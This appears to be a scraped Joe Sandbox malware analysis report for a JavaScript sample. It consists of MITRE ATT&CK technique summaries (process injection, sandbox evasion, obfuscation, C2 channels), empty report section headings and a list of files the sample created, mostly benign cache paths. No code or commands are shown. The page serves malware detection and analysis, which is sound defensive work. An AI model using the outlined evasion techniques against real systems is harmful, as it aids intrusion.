Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7003183412181430311.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec989bec-82ba-4493-b70e-eeb5e21673b7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3164

Windows Analysis Report
7003183412181430311.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre